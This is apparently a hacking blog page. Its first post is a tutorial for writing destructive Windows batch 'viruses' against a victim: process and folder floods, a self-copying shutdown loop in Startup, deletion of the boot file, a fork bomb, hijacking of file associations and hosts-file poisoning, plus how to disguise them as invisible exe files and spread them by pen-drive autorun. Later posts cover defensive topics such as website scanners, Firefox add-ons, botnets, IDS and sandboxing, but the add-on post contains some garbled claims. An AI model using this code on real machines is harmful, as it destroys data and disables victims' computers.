Batch Files!The Art Of Creating Virus.

Hello Guys,Today lets discuss about how to create our own batch virus and spread itI could just you give the codes to paste in notepad and ask you to save files with extension .bat and your deadly batch viruses would be ready. But instead of that, I have focussed on making the basics of batch files clear and developing the approach to code your own viruses.

What are Batch Files ?

Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one


1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'

We first make a folder/directory 'x', then enter in folder 'x',then make a folder 'y' in folder 'x' .
 

Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat
 

Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file


So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.


What can batch viruses do ?


They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.


Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).


Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.


1. Application Bomber


@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop


This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.


2. Folder flooder
@echo off
:x
md %random% // makes directory/folder.
goto x


Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.


3.User account flooder
@echo off
:x
net user %random% /add //create user account
goto x


This code would start creating windows user accounts whose names could be any random numbers.


3.Shutdown Virus
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds


Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup




Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.


4. Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply


Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.





Lets make a batch file to
delete this file from victim's computer and the windows will not start then.


attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file


After running this batch file , system will not reboot and a normal victim would definitely install the windows again.





5. Fork Bomb


%0|%0 //Its percentage zero pipe percentage zero


This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .








6. Extension Changer
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything




Every extension is associated with a filetype like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.




7. DNS Poisoning
There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.


@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.


Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.


Viruses we just coded







Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses -:
1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.


To overcome these limitations,we need to convert these batch files into executable files that is exe files.
Download this Batch To Exe coverter from here.


After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.


You can use other options as per your requirement.


Spreading batch viruses through pen drive -:


Step 1.
Open notepad and write
[autorun]
open=anything.bat
Icon=anything.ico


Save file as ‘autorun.inf’
Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .


When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

Read More

How To check Suspecious website and link for virus,malewares and phishingpage.

Viruses and malwares can break into your system from a number of sources and cause serious impact on your computer system. Hence, it is extremely essential to protect your computer such threats. Most of us are aware of the fact that e-mail attachments, torrents, P2P clients, etc are some of the most common sources through which viruses and malwares infiltrate into our system. But nowadays, even websites have become as infectious as any other source.

Fortunately, there are lots of online scanners that can quickly scan websites for any malicious content. If you are a webmaster wanting to scan your website or you just want to check a website for malicious content, below are few of the best tools that can help you to do so.
1. URLVoid.com – URLVoid.com is a really handy tool to scan any website for malicious content. Just enter the URL of the website you want to scan and then hit the “Scan Now” button. Within just a few seconds, you will get a report stating whether the site is clean or not.

2. AVG Online Web Page Scanner – AVG Online Web Page Scanner enables you to scan suspicious links for viruses and malware. It scans the web pages in real-time and checks if the web pages contain any hidden drive-by downloads.

3. Google Safe Browsing – This handy little tool from Google enables you to test any website for malicious content. It is based on the Google Safe Browsing API. To test any website all you got to do is enter the following in your address bar – http://www.google.com/safebrowsing/diagnostic?site=targetwebsite.com.

4. Online Link Scan – Online Link Scan is a fast, easy-to-use tool that enables you to scan any URL for viruses, malware as well as phishing. It uses the reports generated by PhisTank, AVG, Google Safe Browsing as well as SiteTruth to provide you an overall report of the target URL.

5. Norton Safe Web - Norton Safe Web is a new tool from Norton that analyzes web sites for online threats like viruses, malware, spyware and phishing. It scans the target URL and provides you detailed reports about the various threats on the site. It also creates a Norton rating based on the reports.

6. Dr.Web Online Check – Dr.Web Online check quickly scans websites for viruses and malwares and reports if the website is clean or not. All you gotta do is enter the URL and hit the “Scan” button. It quickly scans the website and creates a report stating whether the website is clean or not.

Read More

Security using Mozilla Firefox.

Today I am going to tell you how to increase your security using Mozilla Firefox, Mozilla Firefox is a very powerful browser , it can secure your Pc against any hacker ,it can maintain your privacy using Add-ons , Q1.what are Add-ons?? Add-ons are extension in your browser, which can add better functionality to your browser, Today I am going to give some tips and some information about Add-ons which are useful for you,so lets start


Try These steps out and Enhance your Security

1ST Tip: Use SSL
SSL is (Secure Socket Layer),it is an protocol which is used for secured internet communication like web browsing, email ,instant messaging, using SSL protocol gives you better security , so i recommends you to use https://encrytpted.google.com , when you search over ssl Protocol,They are encrypted So that no intermediate party can read what you are doing,except your service provider

2ND Tip: Use Add-On Of Mozilla Firefox
Mozilla Firefox is powerful browser which can secure you over Internet communication.
List of Mozilla Firefox Add-on that you can use

1. No Script
No script Add-on can be used to allow active content to run from trusted sites ,No Script provide you good security while browsing over Internet , It Secures you from unknown active contents

2. BETTER PRIVACY
its the best tool to avoid LSO(local shared object),trackers from being tracking you next question which you can put up what are LSO?
LSO are Local Shared Objects which are collections of cookies-like data stored as a file on user computer which can be used by websites to locate your computer at a later time to keep tracks Of users so use Better Privacy to delete lso created by websites

3. AD BLOCK PLUS
This add-on blocks ads from different website which are sponsored by big websites

4. SSL BLACKLIST TOOL
Ssl Blacklist provides information about Ssl certificate of particular website , It tells you the blacklisted sites

5. WOT
wot Is (Web Of Trust), it's an safeguard to browsing , it provides details about the rating of websites by users,it is run by wot community it's an powerful tool to check rating Of websites

6. PHIS TANK SITE CHECKER
This add-on secure your pc against phishing ,what is phishing? phishing is an act of collecting useful information about username, password , credit card information its an illegal activity ,so this add-on provides you security against phishing

7. TRACKER WATCHER
Tracker Watcher watches who collects information about your pc , it blocks all intermediate parties who are collecting Information about you,so use it and protect yourself against tracking

8. BUG ME NOT
it prevents bugs to enter your browser , so use it and avoid bugs

9. KEY LOGGER BEATER
it is used to keep username and password from being stolen by a key logger,what is KEY LOGGING? it is an action of tracking keys struck on a Keyboard , So If you don't want to loose your username and password from being stolen by a key logger , So use this add-on and enhance your security

10. GHOSTERY
it is one of the powerful functionality to protect your privacy from trackers and give You a detailed info about trackers and blocks them from tracking you

HOPE ALL THIS ADD-ON WILL SECURE YOU AGAINST ANY EVIL ATTACK

one more tip start using private browsing:

To start private browsing option
1...click on tools
2... Select start private browsing
in private browsing your browser does not stores any history and cookies, and use latest version Of browser to be secured

so enhance your security by using simple Add-on

Read More

What is BOT?.

BOT is a malicious program with the purpose of fraudulent use of computer. Once your computer is infected with BOT, the malicious attacker (referred to "attacker" hereinafter) remotely controls your computer from the external. This attack causes serious harm of making public nuisance such as "sending numerous number of mails" and "attacking a particular website", as well as of stealing information stored in your computer, i.e., "spying activities. As this external control of your computer is analogous to a robot, it is referred to BOT. A computer that is infected with BOT is automatically connected to instruction server or something similar installed by the attacker, resulting in formation of gigantic computer network referred to "BOT network", which is configured by several tens to several millions of BOT-infected computers. Once infected computers receive instructions from the instruction server controlled by the attacker, they are controlled on the attackers discretion and act in sending numerous number of spam mails for the purposes of phishing and the like as well as in attacking a particular website (DDoS attack). Thus, the users of such infected computers are used as steppingstones for the attacker without their knowledge, and forced to be not only "victims" but also "perpetrators." * DDoS (Distributed Denial of Service) BOTs generally do not show specific visible symptoms even when your computer is infected, being unlike the conventional viruses or worms. A user therefore does not realize the infection of his/her computer and continue to use it without noticing any difference of the computer from before the infection. BOT can update itself by adding new functions or correcting defects using the function of automatic self-updating. The updating interval is said to be short, e.g., several weeks. This also makes BOT difficult to be found. Since source codes or tools for easy preparation of BOTs are disclosed on the Internet, many subspecies of a BOT have been prepared based on the single BOT. This feature has made BOT cleaning by using Anti-Virus software be difficult. With conventional viruses, offenders committed the crime for their pleasure. In contrast, the preparers of BOTs aim to gain benefit from BOTs through, for example, lending BOTNET (networks using BOTs) to nuisance mail delivery companies on a pay-by-the-hour basis, selling personal information stolen, and so on. BOTs send out nuisance mails using the infected computers as steppingstones. Although only a few mails are dispatched from a single infected computer so that the computer user does not realize the situation, BOTs can entirely dispatch numerous number of nuisance mails, using several thousand infected computers in the BOTNET. BOTs disrupt an operation of a particular website by sending a numerous packet (data) to the Web server and thereby making it inoperable. As analogous to sending nuisance mails, although only small volume of attack data is sent out from a single infected computer, it would be a threat for even large scale of a server that BOTs can send out data from several thousands to several millions infected computers. Utilizing vulnerabilities of computers, BOTs take actions to augment infection so that the number of computers available for nuisance mails and DoS attacks are increased. BOTs take over computers that have vulnerabilities and send in programs for infecting other computers. To perform the item 3 "Network infection", BOTs collect information of the computers with vulnerabilities. Using the collected information, another computer is selected as the next target for infection. A BOT adds new functions and correct own flaws using functions to update itself automatically. In addition, when an "instruction server", which interfaces the instructions from the attacker, becomes unavailable due to virus disinfestation and such, the BOT find another server to switch the instruction server. A BOT can send out information stored in an infected computer to the external. Therefore, based on received instructions, various pieces of information are stolen, collected or leaked out to the external, where the information includes a keyboard operation history, credit card No. and ID, password, and addresses registered in an address book of the mail software.

Read More

How Does Intrusion Detection System(IDS) Works?.

---

What is an IDS?

A system that tries to identify attempts to hack or break into a computer system or to misuse it. IDSs may monitor packets passing over the network, monitor system files, monitor log files, or set up deception systems that attempt to trap hackers.¹ With that being said you get the basic idea. While a firewall should always be your first line of defense, an IDS should be next. I use a simple analogy. Think of your network as a prison. The outside is protected by a large wall (firewall), while the inside is protected by cameras and corrections officers (an IDS).

How does an IDS work?

While there are several types of IDSs, the most common types work the same. They analyze network traffic and log files for certain patterns. What kind of patterns you may ask? While a firewall will continually block a hacker from connecting to a network, most firewalls never alert an administrator. The administrator may notice if he/she checks the access log of the firewall, but that could be weeks or even months after the attack. This is where an IDS comes into play. The attempts to pass through the firewall are logged, and IDS will analyze its log. At some point in the log there will be a large number of request-reject entries. An IDS will flag the events and alert an administrator. The administrator can then see what is happening right after or even while the attacks are still taking place. This gives an administrator the advantage of being able to analyze the techniques being used, source of attacks, and methods used by the hacker.

Specifications for IDS

IDSs are defined by what is called the Common Intrusion Detection Framework (CIDF). It is composed of 4 components:

A boxes - Network activity analysis devices that can be specific hardware, software or both. C boxes - Countermeasure mechanisms or response procedure equipment. D boxes - Storage mechanisms (hard Disks), which are essentially the logging equipment. E boxes - These are considered event generators, commonly known as sensors.

²

A boxes

A boxes work like the situation mentioned above. They gather information and look for defined patterns. These patterns can include the consistent stream of packets by Trojans or viruses. An A box is great for detecting DDoS attacks and router attacks. Think of an A box as an "alarm."

C boxes

C boxes work a little differently than A boxes. After an attack has been detected, C boxes have the ability to provide countermeasures. This could include locking a user account or modifying the ACL (Access Control List). Think of a C box as a "counterattack." These work better because they save the administrator from dealing with every little flag. These are valuable in large or enterprise networks.

D boxes

D boxes are rather simple. They provide a means of logging data. One of the best practices for protecting a Linux/UNIX server is to record the logs to a different machine. This works the same way. Servers and IDSs may send their logs to a D box that serves only as a repository. D boxes are important because you may need to analyze data at anytime, even after a C box has taken action. Think of a D box as a "dump server."

E boxes

E boxes are a very important part of an IDS. While an E box cannot be an IDS on its own, without an E box, an IDS cannot function. The function of the E box is simple, it produces "events." Events are not always suspicious. An event can be as simple as recording a user logging on to a server. Think of an a E box as an "event creator."

It is important to know how the term "boxes" is used. While the term "boxes" does not actually refer to physical machines, these "boxes" can and often are used in combination. For example, IDS software can utilize a combination or all of the above framework.

Types of IDS

Generally speaking, there are 3 main types of IDSs:

• Suspicious Detection
• Abnormal Detection
• Signature/Pattern Detection

The suspicious detection is used to flag a defined activity. For example, a firewall may or may not block a port scan. Suspicious detection will automatically flag this event, record the source IP, and the ports scanned. This type of detection is usually customized. System administrators will need to specify what activity qualifies as "suspicious."

The abnormal detection is usually customized as well. It does what its name describes. It looks for abnormal behavior. How is this different from suspicious detection? Here is an example; Most corporate LANs are only active during business hours. From 9 AM - 6 PM, the servers are active, users are logged on, and the routers are busy. However, during non-business hours, the network should be rather stagnant. This is where the abnormal IDS comes into play. In the event that a workstation on your network is infected with a Trojan, the hacker could use that machine to gain access to the rest of your network including the file servers. Usually, this is late at night when the administrator and users won't notice. An abnormal IDS would record network activity and file requests during non-business hours. So, if a users was all of the sudden requesting files from server at 2 AM, the abnormal detection IDS would send a red flag. This allows network administrators to know exactly what is going on when they are not there.

The signature/pattern detection relies heavily on a database of, you guessed it, signatures and patterns! This means the known probing tools, like the ones used by "script kiddies." The common Trojans that are all over Mirc, and various worms have a consistent pattern of how they send and receive data. A database will include the signatures or patterns used by these programs. It constantly monitors the network and when there is activity that matches something from the database, the red flag goes up. This is helpful for large networks. Especially if the users are ignorant and download things they shouldn't...

The best IDSs use a hybrid approach by including 2 more of these detection methods. System administrators should be careful not specify rules that are too harsh. Going over-board can lead to false positives and unwanted chaos. However, it is important to specify rules that will catch intrusions.

Putting it all together...

IDSs can come in the form of hardware, software, or both. One example is the hardware based Enterasys Dragon IDS. This device employs a "network sensor" and "active response" technique to protect a network. The image below shows a Cisco WS-X6381-IDS. This device uses both hardware and software. Physically, this device is attached to an intermediate or core switch. The presence of a hard drive entails its use of software to analyze results.



On the software-based side, a program called Specter, looks like a great program. A rather steep price (retails for $899) makes this software un-attractive to small networks or organziations with a low budget. Although, it runs on any version of Windows and can emulate practically any system. I have not used it, but here is a screen shot of the interface.

Deploying an IDS

An IDS can play pretty much any role you need it to play. For instance, software can be installed on a workstation (like specter) to monitor requests from other parts of the network or outside traffic. An IDS can also be used in conjunction with other network devices. The diagram below shows an example of setting up a dedicated machines with IDS software. Notice the Enterasys Dragon is located in the DMZ. Placing a decoy in the DMZ will deter hackers from the rest of the network. Taking the time to trip the IDS gives system administrators time and data to analyze. This in-turn helps them protect the network.



The most efficient technique to deploying IDSs on your network is proper analysis. Don't go overboard right away. Analyze the way your network is setup. Every system administrator knows the potential weak points of their network. Setting up an IDS may take some time to get everything working right. Trial and error will always be an important tool for tuning up everything and getting it just the way you want.

---

¹ http://myphliputil.pearsoncmg.com/student/bp_hoffer_moderndbmgmt_6/glossary.html

² Mairs, John. VPNs: A Beginners Guide, Berkeley, CA: McGraw-Hill, 2002

Read More

How To Keep Your PC Safe With Sandboxing.

  How to Keep Your PC Safe With Sandboxing

If viruses and malware are a regular problem for you, or if you're simply worried that your antivirus program isn't sufficient, you can add an extra layer of defense to your PC by setting up a sandboxing application. A properly sandboxed set of Windows programs can protect you from malware that your antivirus utilities miss, keeping your PC and your personal data more secure while you're shopping online, say, or visiting potentially dicey Web sites.

Sandboxing is a form of software virtualization that lets programs and processes run in its isolated virtual environment. Typically, programs running within the sandbox have limited access to your files and system, and they can make no permanent changes. That means that whatever happens in the sandbox stays in the sandbox.

You can find programs dedicated to sandboxing, but some antivirus programs also feature sandboxing; I'll explore both in this article. The exact sandboxing functionality varies between programs, but here are some of the common uses:

- Automatically or manually run unknown programs in the sandbox in case they contain viruses, spyware, or other malware.
- Run your Web browser within the sandbox to prevent damage from any infections you pick up while browsing, which is the most common origin of malware.
- Run your browser within the sandbox to stop any existing malware on your computer from capturing your site login credentials or your online-shopping payment details.

Most sandboxing tools, such as the ones I'll discuss here, can run programs inside the sandbox right alongside your other programs in Windows. Generally speaking, programs running inside the sandbox will appear normal. But some tools load a separate environment, and have a different look and feel--and they may even require you to reboot the PC when you exit the sandbox.


Sandboxing in Comodo Internet Security
Comodo Internet Security is a free security suite for both personal and business use. In addition to antivirus and firewall components, it features automatic and manual sandboxing.

CIS automatically detects untrusted executable files and programs, and runs them in the virtual environment. You can also manually run any program within the sandbox; simply select a program to run via the main CIS application window (under the Defense+ tab).


Sandboxing in Comodo Internet Security.

Alternatively, you can right-click a program anywhere in Windows and select Run in COMODO Sandbox. However, the option doesn't appear when you right-click a shortcut icon; you must right-click the actual executable program file, which can be a pain.

The sandboxing functionality in CIS is best for automatic protection, or for the occasional manual running of suspicious downloads. If you'd like sandboxing for Web browsing, consider another utility such as Avast or Sandboxie, both of which I'll discuss on the next page.


Sandboxing in Avast Antivirus
Avast provides a free antivirus program for personal use, as well as premium versions with additional features or for commercial use. Avast Free Antivirus offers only auto sandboxing, while Avast Pro Antivirus and Avast Internet Security offer both auto and manual sandboxing.

Like CIS, each Avast product automatically runs suspicious programs in the virtual environment; by default, the utility will prompt you before doing so. Within the Avast settings, you can specify programs you want to exclude from being sandboxed automatically.

Manually running programs inside the sandbox with the Avast premium products is similar to using CIS. You can select a program to run via the main Avast program window (under the Additional Protection, Sandbox tab).


Avast Internet Security offers highly customizable sandboxing features.

If you prefer, you can right-click a program anywhere in Windows and select Run in Sandbox or Always Run in Sandbox. Unlike CIS, Avast gives you the sandboxing options even when you right-click a shortcut rather than just the executable program file itself. Additionally, you can specify that a program always run sandboxed even when you open it normally. Avast also gives you more sandboxing settings to customize, such as limiting which sandboxed applications can access the Internet.

Avast Free Antivirus is great for automatic sandboxing, but if you want manual sandboxing or Web browsing protection, consider upgrading to the Avast paid products or using another utility. The premium editions of Avast are good for manual sandboxing, but you still might want to try another application, such as Sandboxie, for advanced customization and use.


Using Sandboxie
Sandboxie is a shareware utility offered free for personal use, though if you don't pay for it after 30 days you'll get nag screens. It allows you to open your Web browser, email client, and any other program inside customizable sandboxes.


Sandboxie is a shareware app that lets you set up your own sandboxing environments.

Sandboxie lets you create multiple highly customizable sandboxes, each running in its own virtual environment and retaining its own data. For example, you might use one sandbox for running questionable programs and browsing on potentially dangerous sites, and another sandbox for performing sensitive activities such as online banking or shopping.

Sandboxie will create one default sandbox for you. To add more, you open Sandbox Control, click Sandbox, and select Create New Sandbox.

Unlike the sandboxing features of some antivirus programs, Sandboxie doesn't automatically sandbox unknown programs. But it does provide several ways to open programs within the sandbox.

- Open your Web browser: Click the Sandboxed Web Browser shortcut on your desktop or Start menu to open your default browser within a sandbox.
- Open any program via Sandboxie: Click Start, All Programs, Sandboxie, Run any program Sandboxed. Select the sandbox to launch in, and then browse for the program.
- Open any program via Windows: Anywhere in Windows, right-click a program and select Run Sandboxed.
- Open items from the Start menu: Click Start, All Programs, Sandboxie, Sandboxie Start Menu, and then select the sandbox to launch in. Choose a program from the Sandboxie list of your Start menu desktop shortcuts.

The registered version of Sandboxie also lets you specify any programs that should be sandboxed automatically, even when you open them normally: To set this up, open Sandboxie Control, right-click the desired sandbox, select Sandbox Settings, choose Program Start, and then select Forced Programs.

By default each sandbox retains any data associated with the programs you run inside the sandbox. For example, if you run a Web browser, it saves your browsing history and temporary Internet files. However, you can delete the sandbox data contents at any time: Open Sandboxie Control, right-click the desired sandbox, and select Delete Contents.

When you download files within a sandboxed browser or save files from any sandboxed program, Sandboxie prompts you to recover them. This action lets you save the items outside of the sandbox onto your regular drives. If you choose not to recover files when prompted, you can always view and recover them later: Open Sandboxie Control, right-click the desired sandbox, and select Quick Recovery.

Sandboxie is great if you plan on using sandboxing on a daily basis, or even just occasionally when you're Web browsing. But for automatic protection against possible malware, consider using an antivirus suite that includes sandboxing, such as Comodo Internet Security or Avast.

Read More